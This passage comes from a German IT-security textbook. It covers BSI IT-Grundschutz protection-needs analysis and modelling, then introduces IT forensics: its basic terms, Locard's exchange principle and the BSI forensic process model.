und unzureichende Qualitätssicherung durch Ausfall eines Testsystems.
• Negative Innen- oder Außenwirkung: Durch den Verlust einer der Ziele
Vertraulichkeit, Integrität oder Verfügbarkeit einer IT-Anwendung können
verschiedenartige negative Innen- oder Außenwirkungen entstehen.
Beispiele hierfür sind: Ansehensverlust einer Institution, Vertrauensverlust
gegenüber einer Institution, Demoralisierung der Mitarbeiter, Beeinträchtigung der wirtschaftlichen Beziehungen zusammenarbeitender Institutionen,
verlorenes Vertrauen in die Arbeitsqualität einer Institution und Einbuße der
Konkurrenzfähigkeit.
119
• Finanzielle Auswirkungen: Finanzielle Schäden können durch den Verlust
der Vertraulichkeit schutzbedürftiger Daten, die Veränderung von Daten oder
den Ausfall von IT-Anwendungen entstehen.
Beispiele dafür sind: unerlaubte Weitergabe von Forschungs- und Entwicklungsergebnissen, Manipulation von finanzwirksamen Daten in einem Abrechnungssystem, Ausfall eines IT-gesteuerten Produktionssystems und dadurch
bedingte Umsatzverluste, Einsichtnahme in Marketingstrategiepapiere oder
Umsatzzahlen, Ausfall eines Buchungssystems einer Reisegesellschaft, Ausfall
eines E-Commerce-Servers, Zusammenbruch des Zahlungsverkehrs einer Bank
und Diebstahl oder Zerstörung von Hardware.
Offensichtlich kann ein Schaden in mehrere Schadensszenarien fallen. So führt z.B.
der Ausfall einer IT-Anwendung zur Beeinträchtigung der Aufgabenerfüllung, was
sowohl direkte finanzielle Folgen nach sich ziehen, als auch zu einem Imageverlust
führen kann.
Üblich ist die Einteilung in die folgenden drei Kategorien.
mittel
hoch
sehr hoch
Die Schadensauswirkungen sind begrenzt und überschaubar
Die Schadensauswirkungen können beträchtlich sein
Die Schadensauswirkungen können ein existentiell bedrohliches,
katastrophales Ausmaß erreichen.
Tabelle 9.3: Schutzbedarfskategorien
Bei der Einstufung in die oben aufgeführten Schutzbedarfskategorien müssen die
individuellen Gegebenheiten der Institution berücksichtigt werden: Ein Schaden in
Höhe von 200.000,- Euro ist für einen groën Konzern sicherlich nicth existentiell
bedrohlich, für ein Kleinunternehmen kann dies aber der Fall sein.
9.4 Schutzbedarfsanalyse
Die Schutzbedarfsanalyse gliedert sich in mehrere Schritte. Zunächst wird der Schutzbedarf der Informationen bestimmt. Der Schutzbedarf der IT-Systeme und Kommunikationsnetze richtet sich dann im Wesentlichen nach dem Schutzbedarf der in
diesen Systemen zu verarbeitenden Informationen. Ähnlich wird der Schutzbedarf
der Räume, in denen die IT-Systeme untergebracht sind, bestimmt.
Schutzbedarf der Informationen Ausgehend von den in der Strukturanalyse erhoben wird mittels der Schadensszenarien der Schutzbedarf der Daten (hinsichtlich
Vertraulichkeit, Integrität, Authentizität, Nichtabstreitbarkeit und Verfügbarkeit)
bestimmt und die Einstufung jeweils begründet.
120
9.5 Modellierung
Schutzbedarf der IT-Systeme (inklusive Netze) Der Schutzbedarf der eingesetzten IT-Systeme und Netze richtet sich im Wesentlichen nach den Schutzbedarfen
der Daten, die in diesen verarbeitet werden (Maximumsprinzip). Dabei sollte aber
ein möglicher Kumulationseffekt mit berücksichtigt werden. D.h., werden auf einen
Computer viele Daten der Schutzkategorie hoch verarbeitet, so sollte dieses System
mit der Schutzkategorie sehr hoch bewertet werden.
Schutzbedarf der Räumlichkeiten Ausgehend von den Ergebnissen der Schutzbedarfe der IT-Systeme wird abgeleitet, welcher Schutzbedarf für die jeweiligen
Liegenschaften bzw. Räume resultiert. Dieser Schutzbedarf leitet sich aus dem Schutzbedarf der im jeweiligen Raum installierten IT-Systeme, verarbeiteten Informationen
oder beherbergten Datenträger, wie schon bei der Schutzbedarfermittlung für ITSysteme, nach dem Maximum-Prinzip ab. Auch hier sollte zusätzlich ein möglicher
Kumulationseffekt berücksichtigt werden, wenn sich in einem Raum eine größere
Anzahl von IT- Systemen befindet, wie typischerweise bei Serverräumen.
9.5 Modellierung
Grundidee des IT-Grundschutzes ist, alle Bestandteile (Prozesse, Anwendungen, ITSysteme, Kommunikationsnetze, Räumlichkeiten) einer Institution als sogenannte
Bausteine zu beschreiben. So wird beispielsweise nicht jeder verwendete Rechner im
Einzelnen betrachtet, sondern alle Rechner unter Mac OS X dem Baustein Client unter
Mac OS X zugeordnet. Zu jedem Baustein finden sich in den IT-Grundschutzkatalogen
Gefährdungen und entsprechende Maßnahmen gegen diese Gefährdungen. Ziel der
Modellierung ist es, alle Komponenten des in der Strukturanalyse bestimmten ITVerbunds als Bausteine zu beschreiben. Diese lassen sich typischerweise den folgenden
fünf Schichten zuordnen:
• Schicht 1 umfasst die übergreifenden Aspekte, d.h. Aspekte, die sich auf
den gesamten IT-Verbund oder große Teile hiervon beziehen (z.B. Organisation
des IT-Sicherheitsmanagementprozesses, Datensicherheitskonzept).
• Schicht 2 beschäftigt sich mit der baulich-technischen Infrastruktur (z.B.Gebäude,
Büro- und Serverräume).
• Schicht 3 betrachtet die IT-Systeme (z.B. Client unter Mac OS X, Server
unter Unix).
• Schicht 4 erfasst die Kommunikationsnetze (z.B. WLAN, heterogene Netze).
• Schicht 5 schließlich beschäftigt sich mit den Anwendungen (z.B. E-Mail,
Datenbanken).
121
Im Rahmen der Modellierung wurden alle Bestandteile des IT-Verbundes als Bausteine formuliert. In den IT-Grundschutzkatalogen des BSI sind nun für jeden Baustein
Gefährdungen und entsprechende Gegenmaßnahmen (inkl. Vorschläge für die Verantwortlichen der Maßnahme) aufgeführt und im Detail beschrieben.
Die Gefährdungen werden werden im IT-Grundschutz wie folgt kategorisiert:
• Höhere Gewalt
• Organisatorische Mängel
• Menschliche Fehlhandlungen
• Technisches Versagen
• Vorsätzliche Handlungen
Entsprechende Schutzmaßnahmen finden sich in folgenden Kategorien:
• Planung und Konzeption
• Umsetzung
• Betrieb
• Aussonderung
• Notfallvorsorge
Wir wollen dies am Beispiel des Bausteins Client unter Mac OS X exemplarisch
erläutern. Für diesen Baustein gibt der IT-Grundschutz folgende Gefährdungen an:
• Höhere Gewalt: Ausfall von IT-Systemen, Feuer, Wasser, Staub, Verschmutzung
• Organisatorische Mängel: Fehlende oder unzureichende Regelungen, Mangelhafte Anpassung an Veränderungen beim IT-Einsatz, Unzureichendes Schlüsselmanagement bei Verschlüsselung
• Menschliche Fehlhandlungen: Fahrlässige Zerstörung von Gerät oder Daten,
Nichtbeachtung von Sicherheitsmaßnahmen, Gefährdung durch Reinigungs- oder
Fremdpersonal, Fehlerhafte Nutzung von IT-Systemen, Fehlerhafte Administration von IT-Systemen, Fehlerhafte Konfiguration von Mac OS X, Unsachgemäßer
Umgang mit FileVault-Verschlüsselung
• Technisches Versagen: Defekte Datenträger
122
• Vorsätzliche Handlungen: Manipulation an Informationen oder Software, Abhören von Leitungen, Unberechtigte IT-Nutzung, Systematisches Ausprobieren von
Passwörtern, Trojanische Pferde, Schadprogramme, Abhören von Räumen mittels Rechner mit Mikrofon und Kamera, Vertraulichkeitsverlust schützenswerter
Informationen, Kompromittierung kryptographischer Schlüssel, Integritätsverlust schützenswerter Informationen
Schutzmaßnahmen gegen diese Gefährdungen finden sich ebenfalls in den ITGrundschutzkatalogen. Für den Baustein Client unter Mac OS X sind dies:
• Planung und Konzeption: Planung des sicheren Einsatzes von Mac OS X, Planung der Sicherheitsrichtlinien von Mac OS X, Zugriffschutz der Benutzerkonten
unter Mac OS X, Einsatz der Sandbox-Funktion unter Mac OS X, Festlegung
von Passwortrichtlinien unter Mac OS X, Einschränkung der Programmzugriffe
unter Mac OS X, Secure Shell
• Umsetzung: Aktivieren der Systemprotokollierung, Konfiguration von Mac
OS X Clients, Einsatz von FileVault unter Mac OS X, Deaktivierung nicht
benötigter Hardware unter Mac OS X, Deaktivieren nicht benötigter Mac OS
X-Netzdienste, Konfiguration der Mac OS X Personal Firewall, Sicherheit beim
Fernzugriff unter Mac OS X
• Betrieb: Einsatz der Protokollierung im Unix-System, Regelmäßiger Sicherheitscheck des Unix-Systems, Überprüfung der Signaturen von Mac OS X
Anwendungen, Sichere Datenhaltung und sicherer Transport unter Mac OS X
• Aussonderung: Aussonderung eines Mac OS X Systems
• Notfallvorsorge: Einsatz von Apple-Software-Restore unter Mac OS X, Verhaltensregeln nach Verlust der Systemintegrität, Datensicherung und Wiederherstellung von Mac OS X Clients, Wiederherstellung von Systemparametern beim
Einsatz von Mac OS X
Darüber hinaus müssen auch die Schutzmaßnahmen der Bausteine Allgemeiner
Client oder Laptop durchgearbeitet werden, abhängig davon, auf welchem Client Mac
OS X betrieben wird.
Zu jedem der oben vorgeschlagenen Maßnahmen finden sich in den IT-Grundschutzkatalogen detaillierte Beschreibungen insb. dazu, wer für diese Maßnahme verantwortlich ist (z.B. IT-Sicherheitsbeauftrager, Administrator, Anwender) und wie die
Maßnahme umgesetzt werden sollte.
Bei der Auswahl und Anpassung der Schutzmaßnahmen sollten die folgende Aspekte
berücksichtigt werden:
• Wirksamkeit: Sie müssen vor den möglichen Gefährdungen wirksam schützen
• Eignung: Sie müssen in der Praxis einsetzbar sein, d.h. keine Organisationsabläufe behindern oder andere Schutzmaßnahmen aushebeln
123
• Praktikabilität: Sie sollten leicht verständlich, einfach anwendbar und wenig
fehleranfällig sein
• Akzeptanz: Sie sollten barrierefrei sein und niemanden diskriminieren
• Wirtschaftlichkeit: Sie sollten das Risiko bestmöglich minimieren aber auch in
einem geeigneten Verhältnis zu den zu schützenden Werten stehen
9.7 Basis-Sicherheitscheck
9.8 Erweiterte Risikoanalyse
Für Bestandteile des betrachteten IT-Verbundes, die sich nicht als Bausteine gemäß
BSI-Grundschutz modellieren lassen (z.B. weil sie dort nicht vorgesehen sind), oder
für die in der Schutzbedarfsanalyse ein hoher bzw. sehr hoher Schutzbedarf ermittelt
wurde, sind zusätzliche Arbeiten zu leisten.
Der BSI-Grundschutz schlägt hier folgendes Vorgehen vor:
• Zunächst sollte für jede zusätzliche zu untersuchende Komponente eine Gefährdungsübersicht erstellt werden. Für Komponenten, die sich als Bausteine nach
IT-Grundschutz formulieren lassen, findet man, wie bereits beschrieben, Gefährdungen in den entsprechenden IT-Grundschutzkatalogen. Für Komponenten,
die sich nicht als Bausteine
• Da sich
124
10 IT-Forensik
In den letzten Jahren hat die Verbreitung und der Gebrauch von elektronischen
Geräten drastisch zugenommen. Traditionelle Informationsträger wie Bücher, Fotos,
Briefe und Schallplatten wurden durch E-Books, digitale Fotografie, E-Mails und
MP3s ersetzt. Dieser Wandel geht einher mit der wachsenden Speicherkapazität von
heutigen Datenträgern, die von ein paar Megabyte auf mehrere Terabyte anwuchsen.
Somit können Anwender ihre kompletten Informationen auf einer einfachen Festplatte
speichern anstelle einer analogen Ablage in Hunderten Kartons auf dem Dachboden.
Auch wenn der physikalisch eingenommene Platz sich um ein Vielfaches verringert,
so bleibt die Informationsmenge zumindest dieselbe. Oftmals übersteigt sie diese
aber signifikant. Zur Sicherung, Selektion, Analyse und Auswertung dieser enormen
Datenmenge bedarf es geschulten Personals – eines IT-Forensikers.
Bei der IT-Forensik geht es darum, strafbare bzw. anderweitig rechtswidrige oder
sozialschädliche Handlungen nachzuweisen und aufzuklären, indem digitale Spuren
gerichtsverwertbar gesichert und ausgewertet werden1 . Die Ziele einer solchen Ermittlung sind nach einem Systemeinbruch oder einem anderen Sicherheitsvorfall in der
Regel,
• die Identifikation der Methode oder der Schwachstelle, die zum Systemeinbruch
geführt haben könnte,
• die Ermittlung des entstandenen Schadens,
• die Identifizierung der Täter/Angreifer und
• die Sicherung der Beweise für weitere juristische Aktionen.
Die wachsende Bedeutung der IT-Forensik spiegelt sich auch in einem immer breiteren Angebot an Arbeitgebern wider. Typische Arbeitsplätze eines IT-Forensikers
sind neben Strafverfolgungsbehörden wie dem Bundeskriminalamt (BKA), den Landeskriminalämtern (LKA) und Polizeipräsidien auch immer mehr spezialisierte ITForensikunternehmen. Weiterhin unterhalten die großen Wirtschaftsprüfungsgesellschaften wie Ernst&Young, Deloitte, PricewaterhouseCoopers oder KPMG eigene
IT-Forensik-Abteilungen, die typischerweise bei Wirtschaftskriminalität zum Einsatz
kommen. Insbesondere Alexander Geschonneck von KPMG gilt als einer der Pioniere
der IT-Forensik im deutschsprachigen Raum. Schließlich arbeiten IT-Forensiker auch
als unabhängige Sachverständige.
1
https://www.bsi.bund.de/ContentBSI/grundschutz/kataloge/m/m06/m06126.html
125
10 IT-Forensik
Mit seinem Standardwerk Computer Forensik [?] hat Geschonneck das Standardwerk in deutscher Sprache zur IT-Forensik veröffentlicht. Weitere wichtige Literatur
zu dem allgemeinen Thema IT-Forensik stammt von Eoghan Casey [?]. Das Standardwerk zur Analyse von Dateisystemen hat Brian Carrier [?] geschrieben, der auch
Autor des verbreiteten IT-Forensik Toolkits TSK (The SleuthKit)2 ist. Weiterführende Literatur ist auch über Studienmaterialien des Weiterbildungsprojekts OpenC3 S
(Open Competence Center for Cyber Security)3 verfügbar, in dessen Rahmen die
Hochschule Darmstadt unter Anderem Module zu dem Thema IT-Forensik entwickelt.
Schließlich weisen wir noch auf das Wahlpflichtmodul Einführung in die digitale
Forensik, das im Rahmen des Bachelorprogramms an der Hochschule Darmstadt
belegt werden kann.
In diesem Kapitel starten wir zunächst in Abschnitt 10.1 mit der Einführung
zentraler Begriffe der Forensik sowie der Teildisziplin IT-Forensik. Danach gehen wir
in Abschnitt 10.2 auf grundlegende Prinzipien sowie Vorgehensmodelle der IT-Forensik
ein. In Abschnitt 10.3 stellen wir unterschiedliche Abstraktionsebenen analysefähiger
Datenstrukturen vor. Wir schließen dieses Kapitel in Abschnitt ?? mit einer Übersicht
wichtiger Tools für eine IT-forensische Untersuchung.
10.1 Grundlagen und Begriffsklärung
In diesem Abschnitt führen wir zunächst den allgemeinen Begriff der Forensik ein und
diskutieren zentrale Begriffe (z.B. Spur, Beweis) und Prinzipien (z.B. das Locardsche
Austauschprinzip) der Forensik. Zum Abschluss gehen wir dann auf das Teilgebiet
IT-Forensik ein.
Die deutschsprachige Seite der Online-Enzyklopädie Wikipedia beschreibt den
allgemeinen Begriff Forensik als ’... wissenschaftliche Arbeitsgebiete, in denen kriminelle Handlungen systematisch identifiziert bzw. ausgeschlossen sowie analysiert
oder rekonstruiert werden.’4 Ursprünglich stammt der Begriff vom lateinischen Wort
‘forum’ (Marktplatz) ab, da Gerichtsverfahren, Untersuchungen, Urteilsverkündungen,
sowie der Strafvollzug im antiken Rom öffentlich und meist auf dem Marktplatz
durchgeführt wurden.
Für uns ist diese Beschreibung von Forensik zu speziell, da nicht immer eine
kriminelle Handlung der Ausgangspunkt einer forensischen Untersuchung ist. Die
englischsprachige Seite von Wikipedia verwendet folgende Beschreibung: ’Forensic
science is the scientific method of gathering and examining information about the
past.’5 Diese Begriffsklärung ist allgemeiner, sie führt den Begriff der forensischen
Wissenschaft auf den etablierten Begriff der wissenschaftlichen Methodik zur Untersuchung von Begebenheiten der Vergangenheit zurück. Das trifft auch unser Verständnis
der Forensik.
2
www.sleuthkit.org
openc3s-project.de
4
de.wikipedia.org, abgerufen am 24.03.2014
5
en.wikipedia.org, abgerufen am 24.03.2014
3
126
10.1 Grundlagen und Begriffsklärung
Letztlich geht es bei einer forensischen Untersuchung stets darum, eine Frage des
Rechts zu beantworten. Zur Beantwortung werden dann erprobte wissenschaftliche
Methoden unterschiedlicher Fachdisziplinen herangezogen, so dass der Begriff Forensik
viele Teilgebiete umfasst. Einige Beispiele sind:
• Forensische Medizin / Rechtsmedizin: im Zusammenhang mit einer vermuteten
nicht-natürlichen Todesursache eines Menschen ist eine typische Fragestellung,
wann und warum der Tod der Person eingetreten ist. Dazu führt der Rechtsmediziner im Auftrag eines Rechtsorgans (z.B. Staatsanwaltschaft, Gericht)
eine Autopsie (Leichenschau) durch. Durch den Zeitpunkt des Todes können
dann weitere Fragen gestellt werden, z.B. ob eine verdächtige Person zu diesem
Zeitpunkt ein Alibi vorweisen kann oder nicht.
• Forensische Toxikologie: als interdisziplinäres Gebiet zwischen Pharmakologie,
Medizin, Chemie und Biologie führt der Rechtsmediziner oft auch toxikologische
Untersuchungen durch. Eine mögliche Fragestellung ist, ob ein unnatürlicher
Tod durch eine Vergiftung herbeigeführt wurde und falls ja, durch welche
Stoffe. Eine andere typische Frage beschäftigt sich mit der Schuldfähigkeit
eines Beschuldigten, z.B. ob dieser auf Grund von Drogenmissbrauchs zu einem
bestimmten Zeitpunkt überhaupt bewusst handlungsfähig war.
• Ballistik: im Zusammenhang mit forensischen Fragestellungen bezeichnet die
Ballistik die Untersuchung von Geschossen. Eine typische Aufgabe der Ballistik
ist die Beantwortung der Frage, ob ein an einem Tatort gefundenes Geschoss
zu einer Waffe passt. Dadurch kann der Ermittler dann die Zuordnung zu einer
bestimmten Person (etwa dem Eigentümer der Waffe) oder zu anderen Verbrechen vornehmen, die mit der gleichen Waffe begangen wurden. Die Ballistik ist
eine klassische Aufgabe der Kriminalistik und wird oft von Kriminaltechnikern
innerhalb einer Strafverfolgungsbehörde durchgeführt.
Die Ziele einer forensischen Untersuchung sind das Identifizieren, Sicherstellen,
Selektieren und Analysieren von Spuren, die im weiteren Verlauf der Ermittlungen
zu Indizien und Beweisen werden können (siehe unten). Dabei soll der Forensiker so
wenig wie möglich in den Untersuchungsgegenstand eingreifen. Grundsätzlich gilt das
Paradigma der Integrität von Beweismitteln. Im Bereich der IT-Forensik bedeutet
das beispielsweise bei der Untersuchung einer Festplatte, dass diese unverändert
bleiben muss. In einigen Bereichen der IT-Forensik ist es aber nicht möglich, den
Untersuchungsgegenstand nicht zu verändern, z.B. im Bereich der Smartphones
oder Netzwerkforensik. Dann gilt es, minimalinvasiv in das System einzugreifen und
jeden Untersuchungsschritt zu dokumentieren. Überhaupt ist Dokumentation eine
der wichtigsten Tätigkeiten eines Forensikers, um gegenüber Dritten jeden Schritt
von der Datenakquise bis zum Analyseergebnis nachzuweisen. Dies wird durch den
Begriff Chain of Custody beschrieben: es muss lückenlos dokumentiert sein, wer wann
was mit einem Beweismittel gemacht hat.
Ausgangspunkt einer forensischen Untersuchung ist eine Spur. Dieser Begriff ist
auch gebräuchlich in anderem Zusammenhang, z.B. bei Tieren. Nimmt ein Hund
127
10 IT-Forensik
Abbildung 10.1: Das Locardsche Austauschprinzip nach [?]
eine Spur auf, so meint man damit, dass er eine Fährte gefunden hat, um etwa ein
anderes Tier zu verfolgen. Ähnlich ist die Bedeutung in der Forensik. Für unsere
Zwecke bedeutet Spur, dass wir ein hinterlassenes Zeichen gefunden haben, das
Ausgangspunkt für eine Untersuchung ist (z.B. ein Blutfleck an einem Tatort, eine
Fußspur in einem Blumenbeet oder eine Bilddatei auf einem Computer). Eine Spur
im kriminalistischen Sinne sind also Gegenstände oder Hinweise im Rahmen einer
Untersuchung, die eine Theorie über einen Vorgang bestätigen oder widerlegen können.
Spuren unterteilt man in materielle (z.B. Fingerabdrücke, Schuhabdruck, Haar) oder
immaterielle Spuren (z.B. menschliches Verhalten). Während bei einer Spur noch
unklar ist, inwiefern eine Frage des Rechts damit beantwortet werden kann oder nicht,
so versteht man unter einem Indiz einen Hinweis, der mit anderen Indizien zusammen
auf das Vorliegen eines Sachverhalts schließen lässt. Der stärkste Begriff in diesem
Zusammenhang ist der eines Beweis, denn ein Beweis bezeichnet die Feststellung
eines Sachverhalts als Tatsache in einem Gerichtsverfahren aufgrund richterlicher
Überzeugung. Damit wird zumindest juristisch die Wahrheit ermittelt.
Schon 1920 beschrieb der französische Kriminologe und Forensiker Edmond Locard
das Locardsche Austauschprinzip, wonach es immer zu einem Austausch zwischen
Täter, Opfer und Tatort kommt, d.h. sowohl Täter als auch Opfer bringen etwas
zum Tatort hin, nehmen etwas mit und tauschen untereinander Spuren aus. Dieses
axiomatische Prinzip besagt damit, dass es das perfekte Verbrechen nicht gibt,
sondern dass die Aufklärung am Nichtentdecken von Spuren scheitert. Das Locardsche
Austauschprinzip ist in Abbildung 10.1 dargestellt.
Eine berühmte Beschreibung des Locardschen Austauschprinzips findet sich in [?];
sie weist noch einmal ausdrücklich darauf hin, dass es immer Spuren zur Aufklärung
eines Sachverhalts gibt:
Wherever he steps, whatever he touches, whatever he leaves, even
unconsciously, will serve as a silent witness against him. Not only his
fingerprints or his footprints, but his hair, the fibers from his clothes, the
glass he breaks, the tool mark he leaves, the paint he scratches, the blood
or semen he deposits or collects. All of these and more, bear mute witness
against him. This is evidence that does not forget. It is not confused by
the excitement of the moment. It is not absent because human witnesses
are. It is factual evidence. Physical evidence cannot be wrong, it cannot
perjure itself, it cannot be wholly absent. Only human failure to find it,
128
study and understand it, can diminish its value.
Wir schließen diesen Abschnitt mit dem uns interessierenden Teilgebiet IT-Forensik.
Diese Disziplin hat sich innerhalb der Informatik entwickelt. Sie beantwortet Fragen
des Rechts, wenn IT-Systeme Ziel oder Tatmittel in einer forensischen Untersuchung
sind. Ein IT-System kann dabei ein Computer eines Endanwenders sein (z.B. um
die Frage zu beantworten, ob auf dem Computer kinderpornographische Schriften
gespeichert oder gar verbreitet wurden), ein Server (z.B. weil dieser kompromittiert
wurde, um Malware auszuliefern) oder ein Smartphone (z.B. um Kontakte eines
Beschuldigten zu extrahieren oder ein Bewegungsprofil von diesem zu erstellen).
Während vor einigen Jahren noch der Begriff ’Computerforensik’ als Standardbegriff
verwendet wurde, so ist dieser auf Grund der wachsenden Bedeutung von mobilen
Geräten wie Smartphones oder Tablets zu speziell. Daher bevorzugen wir den allgemeineren Terminus ’IT-Forensik’. Synonym zu IT-Forensik verwenden wir auch den
Begriff ’digitale Forensik’.
In diesem Abschnitt stellen wir zunächst Prinzipien der Forensik vor, die auch für
die IT-Forensik gelten. Danach stellen wir das Vorgehensmodell des Bundesamtes
für Sicherheit in der Informationstechnik zur Durchführung einer IT-forensischen
Untersuchung vor.
10.2.1 Prinzipien
In Abschnitt 10.1 haben wir erklärt, dass Forensik die Anwendung wissenschaftlicher
Methoden auf Fragen des Rechts bedeutet. Manche Fragen sind inherent für eine
Untersuchung, nämlich die berühmten 7 W-Fragen der Kriminalistik. Damit soll ein
behaupteter Tathergang bewiesen oder widerlegt werden. Die berühmten 7 W-Fragen
lauten:
• Wer?
• Was?
• Wo?
• Wann?
• Womit?
• Wie?
• Weshalb?
129
10 IT-Forensik
Damit die Resultate einer forensischen Untersuchung als Beweise vor Gericht oder
anderen Auftraggebern verwendet werden können (zu Beginn einer Untersuchung
ist oft nicht klar, ob eine gerichtliche Auseinandersetzung stattfinden wird), ist eine
gründliche und sorgfältige Vorgehensweise nötig. An einen Ermittlungsprozess werden
die folgenden Anforderungen gestellt [?]:
• Akzeptanz: Bei der Untersuchung sollen Verfahren und Methoden eingesetzt
werden, die in der Fachwelt beschrieben und allgemein akzeptiert sind. Bei
Einsatz von neuen Verfahren oder Methoden muss ein Nachweis über die
korrekte Funktionsweise erbracht werden.
• Glaubwürdigkeit: Die Robustheit und Funktionalität der eingesetzten Methoden und Verfahren muss sichergestellt oder bewiesen werden. Diese Anforderung
hängt eng mit der Akzeptanz der Methoden zusammen. Weiterhin muss der
Forensiker als Person glaubwürdig sein, z.B. weil er eine Sicherheitsprüfung
durchlaufen hat und einschlägige Fachkenntnisse nachweisen kann.
• Wiederholbarkeit: Durch Anwendung der gleichen Verfahren, Methoden und
Hilfsmittel durch Dritte müssen, ausgehend vom selben Ausgangsmaterial, die
gleichen Ergebnisse erzielt werden. Diese Anforderung leitet sich insbesondere
aus der Anwendung wissenschaftlicher Methoden ab, die Reproduzierbarkeit
als Kernelement enthalten.
• Ursache und Auswirkungen: Mit den verwendeten Verfahren und Methoden
muss es möglich sein, logisch nachvollziehbare Beziehungen zwischen Ereignissen,
Beweismitteln und Personen herzustellen. Gerade die Zuordnung einer digitalen
Spur zu einer natürlichen Person ist meist eine Herausforderung.
• Dokumentation: Während der Ermittlung müssen alle Arbeitsschritte angemessen und detailliert dokumentiert werden (Verlaufsprotokoll). Zum Abschluss
wird dann je nach Zielgruppe ein Ergebnisprotokoll erstellt.
• Lückenlosigkeit: Der Verbleib der digitalen Spuren und der Ergebnisse muss
ab dem Zeitpunkt der Erfassung lückenlos nachgewiesen werden, um jederzeit
potentielle Manipulationen ausschließen zu können (das ist die oben genannte
„chain of custody“).
• Integrität: Während einer Untersuchung dürfen Spuren weder bewusst noch
unbewusst geändert werden. Die Integrität und die Sicherung der Integrität
der digitalen Beweise muss dokumentiert werden und zu jeder Zeit belegbar
sein. Hierzu wird – sofern möglich – zu Beginn der Untersuchung eine 1:1-Kopie
des Untersuchungsgegenstandes (z.B. einer Festplatte) erstellt (die sogenannte
Masterkopie) und daraus wiederum Arbeitskopien. Damit wird das Original so
wenig wie möglich verwendet, womit die Wahrscheinlichkeit einer (typischerweise
unbeabsichtigten) Veränderung sinkt.
130
Abbildung 10.2: BSI-Modell nach [?]
• Authentizität: Es muss gewährleistet werden, dass zum einen das Vorgehen
der Ermittler und zum anderen die erhobenen und gewonnenen Daten authentisch sind. Dazu müssen alle dokumentierten Arbeitsschritte der forensischen
Untersuchung sowie die daraus extrahierten Erkenntnisse geschützt werden, z.B.
durch eine eigenhändige Unterschrift oder eine digitale Signatur.
10.2.2 Vorgehensmodelle
Es gibt eine Reihe von Vorgehensmodellen, die den Ablauf einer IT-forensischen
Untersuchung beschreiben. Neben allgemeinen Vorgehensmodellen, die wir in diesem
Abschnitt darstellen, gibt es auch spezifischere Modelle, etwa zur IT-forensischen
Untersuchung mobiler Endgeräte wie Smartphones.
Das einfachste allgemeine Vorgehensmodell ist das S-A-P-Modell, das die 3 Phasen
S ichern, Analysieren sowie Präsentieren beschreibt. Die Inhalte dieser Phasen sind
selbsterklärend: zunächst werden relevante Spuren identifiziert und gesichert (z.B.
Erstellung der Master- sowie Arbeitskopien), die gesicherten Spuren werden anschließend analysiert sowie korreliert und für eine bestimmte Zielgruppe (z.B. Techniker,
Management, Richter) aufbereitet und präsentiert.
Im folgenden gehen wir auf das Vorgehensmodell des Bundesamtes für Sicherheit
in der Informationstechnik ein, das im BSI-Leitfaden IT-Forensik [?] beschrieben
wird. Das BSI-Vorgehensmodell erweitert das S-A-P-Modell durch eine Unterteilung
der einzelnen Phasen. Es besteht nunmehr aus 6 Phasen und ist in Abbildung 10.2
dargestellt. Darin sieht man die Abhängigkeiten der einzelnen Phasen.
1. Strategische Vorbereitung: Diese Phase liegt vor Eintritt eines Zwischen-
131
10 IT-Forensik
falls – statt Zwischenfall spricht der BSI-Leitfaden von Symptom. Zentrales Ziel
dieser Phase ist die Bereitstellung von Datenquellen (z.B. Logfiles bei Webdiensten, Verbindungsdaten von Routern) sowie das Einrichten einer forensischen
Workstation samt Bereitstellung von IT-forensischen Tools (EnCase, FTK,
Hardware-Writeblocker). Des weiteren werden konkrete Handlungsanweisungen
für bestimmte Schadensfälle festgelegt. Alle Schritte der strategischen Vorbereitung (wie auch alle Schritte in den folgenden Phasen) werden dokumentiert
und möglichst in Standardterminologie (z.B. nach CERT) beschrieben.
2. Operative Vorbereitung: Diese liegt nach Eintritt eines Zwischenfalls/Symptoms. Im Rahmen der operativen Vorbereitung findet eine Bestandsaufnahme
und Sichtung des Tatorts statt. Der Rahmen der IT-forensischen Untersuchung
sowie das exakte Ziel werden festgelegt. Hierzu sollte der Fall so konkret wie
möglich beschrieben und ebenso Fragen der Privatsphäre angesprochen werden (z.B. welche Datenquellen sind tabu für Ermittler). In vielen Fällen ist es
wichtig, juristische Unterstützung zu haben. Außerdem legt der Ermittler die
zu sichernden Datenquellen fest (z.B. Beschlagnahme von Datenträger oder
Live-Sicherung) und wählt die Tools für das weitere Vorgehen aus.
3. Datensammlung: Alternative (und auch bessere) Bezeichnungen für diese
Phase sind Datenakquise oder Datensicherung. In dieser Phase sichert der
IT-Forensiker die im Rahmen der operativen Vorbereitung festgelegten Daten.
Bei der Sicherung der Daten am Live-System wird folgende Reihenfolge vorgeschlagen, die sich an der Order of Volatility (d.h. der Flüchtigkeit der Daten)
orientiert:
• Erfassung von aktueller Systemzeit und Systemdatum und Vergleich mit
der korrekten Zeit, um später den tatsächlichen Zeitpunkt eines Vorgangs
zu bestimmen.
• Erfassung der momentan auf dem System laufenden Prozesse (Systemzustand).
• Erfassung der am System geöffneten Netzwerkverbindungen (Sockets).
• Erfassung der am System angemeldeten Nutzer.
• Eigentliche forensische Duplikation, dabei auf Authentizität und Integrität
der Datenträger achten (typischerweise mittels Hashverfahren).
Die Beweismittelkette sollte während der gesamten Sicherungsphase erhalten
werden. Dazu muss sichergestellt werden, dass Beweise nicht verändert werden
und dass die Arbeitsumgebung gegen weitere Zugriffe ausreichend geschützt
ist, z.B. sollte weder physischer noch Netzwerkzugriff möglich sein. Oft ist es
auch nützlich, einen Zeugen hinzuzuziehen und nach dem Vier-Augen-Prinzip
zu verfahren.
4. Datenuntersuchung: Diese Benennung ist etwas irreführend, denn im Rahmen der Datenuntersuchung findet eine Vorverarbeitung der gesicherten Daten
132
statt, um diese im anschließenden Schritt zu analysieren. Der initiale Schritt befasst sich meist mit der Datenreduktion. Irrelevante Dateien und Informationen
werden verworfen. Hierfür wird üblicherweise eine Whitelist mit Hashwerten
des US-amerikanischen National Institute of Standards and Technology (NIST)
verwendet, nämlich das Reference Data Set (RDS) der National Software Reference Library (NSRL)6 . Die RDS indexiert Hashwerte (SHA-1, MD5) von
irrelevanten Dateien (z.B. Dateien des Betriebssystems oder von Standardanwendungen wie Firefox, Thunderbird). Analog können mittels einer Blacklist
(z.B. Hashwerte inkriminierter Dateien) direkt Kandidaten für das Vorliegen
eines Indizes gefunden werden.
Bei manchen Ermittlungen kann der Datenbestand auf einen bestimmten
Dateityp reduziert werden, z.B. im Falle kinderpornographischer Schriften auf
Bilddateien wie JPG, GIF, PNG und BMP sowie Videos (MPG, AVI, ...). Hier
sollte jedoch bevorzugt der Dateikopf (File Header) untersucht werden und sich
